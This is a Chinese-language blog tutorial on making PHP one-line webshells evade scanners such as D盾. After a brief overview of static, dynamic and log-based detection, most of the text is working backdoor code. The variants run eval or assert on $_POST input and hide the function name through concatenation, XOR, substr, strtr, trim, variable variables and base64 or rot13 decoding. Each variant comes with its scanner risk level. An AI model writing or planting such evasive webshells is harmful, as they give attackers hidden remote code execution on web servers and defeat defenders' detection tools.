php webshell 免杀入门

webshell 查杀软件:

d盾、安全狗、护卫神、Sangfor WebShellKill

在线查杀

百度WEBDIR+

https://scanner.baidu.com

河马

https://www.shellpub.com

cloudwalker牧云

https://webshellchop.chaitin.cn

查杀技术

静态检测、动态检测、日志检查

  • 静态检查:匹配特征码、危险函数、木马特征值。优点:方便快捷,对已知木马特征查找准确率高,缺点是误报率高,0day型木马无法查找。
  • 动态检测:通过木马程序的动态特征来检测,当程序执行时表现出的特征即为动态特征。
  • 日志检测:通过分析大量日志文件并建立请求模型检测异常文件。 优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价值。缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

webshell免杀

免杀则是通过灵活运用编程语言的不同特征以及提供的参数重构木马来躲避查杀工具的查杀。还有通过加解密技术对木马程序进行加解密处理。

普通一句话木马

php 复制代码
<?php eval($_POST['a']);?>
<?php assert($_POST['a']);?>

直接使用eval是3级,使用 assert 是5级


在蚁剑连接中,仅使用assert的payload不可连接

原因有两个:一是因为蚁剑用来探测的语句由多句PHP代码构成,但assert只能执行第一句PHP代码;二是因为探测的语句使用了echo,而assert无法执行关于echo的代码。

看到分析文章:

关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)

PHP版本>7 时,assert 函数进行了更新, 无法将使用字符串作为参数,而传入GET或POST的数据默认的类型就是字符串,这就导致了assert不适宜再用来直接写马。

不过下面的webshell 还是在php5环境下以 assert 函数进行测试。


因为还在学习阶段,对于这些姿势可能不能对查杀工具完全免杀,但是也能降低危险级别。

主旨在学习大佬们已经用过的各种绕过姿势。达到免杀初步入门。

免杀绕过姿势

字符串变形

对字符串各种拼接转换,十分灵活,方法各式各样。易拓展。

这里先直接对 assert 每个字符串进行拼接。

php 复制代码
<?php
$x= 'a'.'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

查杀结果还是 5 级,拼接的 assert 能正常检测

substr() 函数

使用 substr() 函数截断

php 复制代码
<?php
$x= substr('21a',2).'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

再次D盾检测,新版级别变为了 3 ,旧版级别为 4


异或

php 复制代码
<?php
$x = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

新版D盾为已知后门,旧版级别为 3


传参拼接

一般情况只需传入一个参数,是要执行的命令。

这里再增加一个传参,作为 assert 的拆解部分。

php 复制代码
<?php
$a='ass';
$b=$a.$_POST["a2"];
$x = $_POST["a1"];
$b($x);
?>

利用,post以下数据:

php 复制代码
a2=ert&a1=phpinfo()

新版D盾查杀等级为 3 ,旧版为 2

strtr() 函数

对替换字符,被替换的'xjdm' 必须和替换成的 'sser' 是相同长度。

php 复制代码
<?php
$x = strtr('axjdmt','xjdm','sser');
$x($_POST['a']);
?>

旧版D盾级别为 1 ,基本算绕过。新版为已知后门

substr_replace()函数

绕过旧版,新版为已知后门

php 复制代码
<?php
$x = substr_replace('ajdmkh','ssert',1);
$x($_POST['a']);
?>

稍微变化一下

新版旧版级别都为 3

php 复制代码
<?php
$x = substr_replace('ajdmk','sser',1).'t';
$x($_POST['a']);
?>

substr_replace()函数和strtr() 函数都是已知后门,那如果组合一下。

新版仍为前面的 3 级,旧版为 1

php 复制代码
<?php
$x = strtr('aghn','ghn','sse').substr_replace('rx','t',1);
$x($_POST['a']);
?>

trim()函数

规定从字符串中删除哪些字符。如果不选第二个参数,则移除以下所有字符 \0 - NULL; \t - 制表符;\n - 换行;\x0B - 垂直制表符;\r - 回车;空格

php 复制代码
<?php
$x = trim('/assert/','/');
$x($_POST['a']);
?>

D盾查杀级别为 1

如果是这样,让**trim()**函数删除空格,查杀等级还是为 4 级。

php 复制代码
$x = trim(' assert ');

自定义函数

php 复制代码
<?php
function test($a){
    $a($_POST['a']);
}

test('assert');
?>

新版D盾和旧版扫描结果级别都为 2


前面都是对 assert 字符串进行操作,下面对 _POST\['a'\] 进行操作。包括结合前面的,同时对 assert 和 _POST'a' 处理的结果。


反引号

php 复制代码
<?php
$a=$_POST['a'];
$x='assert';
$x(`/***123***/`.$a);
?>

新版D盾结果级别为 4,旧版为 2

结合前面的 substr()函数

查杀等级新版D盾变为1,旧版变为2

php 复制代码
<?php
$a=$_POST['a'];
$x=substr('1a',1).'ssert';
$x(`/***123***/`.$a);
?>

对assert 结合前面的 异或。

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$a=$_POST['a'];
$x=('!'^'@').'ssert';
$x(`/***123***/`.$a);
?>

变量覆盖

使用$$覆盖变量,这里对字符串 $_POST'a' 进行操作

php 复制代码
<?php
$x='a'.'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

此时级别为 2

对 assert 结合前面的 substr()函数。

php 复制代码
<?php
$x=substr('1a',1).'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

查杀等级新版D盾变为1,旧版变为2

对assert 结合前面的 异或。

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$x=('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

trim()函数结合变量覆盖

D盾等级为2

php 复制代码
<?php
$a = 'ttt';
$$a=trim('/assert/','/');
$f ='hello';
$$f = $_POST['a'];
$ttt($hello)
?>

base64参数编码

php 复制代码
<?php
$x= 'assert';
$a=base64_decode($_POST['a']);
$x($a)
?>

利用:

a=cGhwaW5mbygp

这里效果不免杀

结合substr()函数

新版D盾查杀结果级别为 1,旧版为 4

php 复制代码
<?php
$x= substr('1a',1).'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>

对assert 结合前面的 异或

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$x= ('!'^'@').'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>

rot13参数编码

和前面 base64编码效果是一样的

php 复制代码
<?php
$x= 'assert';
$a=str_rot13($_POST['a']);
$x($a)
?>

a=cucvasb()

结合substr()函数

新版D盾查杀结果级别为 1,旧版为 4

php 复制代码
<?php
$x= substr('1a',1).'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>

对assert 结合前面的 异或

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$x= ('!'^'@').'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>

还有很多姿势可以利用与开发。

比如数组(一维、二维、多维)的利用。

还有各种回调函数的利用,比如回调函数 array_map()

相关推荐
两个人的幸福13 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo15 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack15 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820716 天前
PHP 扩展——从入门到理解
php
鹏仔先生17 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下17 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip17 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
酉鬼女又兒17 天前
零基础入门计算机网络运输层:端到端通信核心作用、端口号分类规则、复用分用工作机制及UDP与TCP协议全方位对比详解
网络·网络协议·tcp/ip·计算机网络·考研·udp·php
dog25017 天前
不要再继续优化 TCP
网络协议·tcp/ip·php
Channing Lewis17 天前
PHP 解析 Excel 的那些坑:一次“行号错位”引发的数据丢失
开发语言·php·excel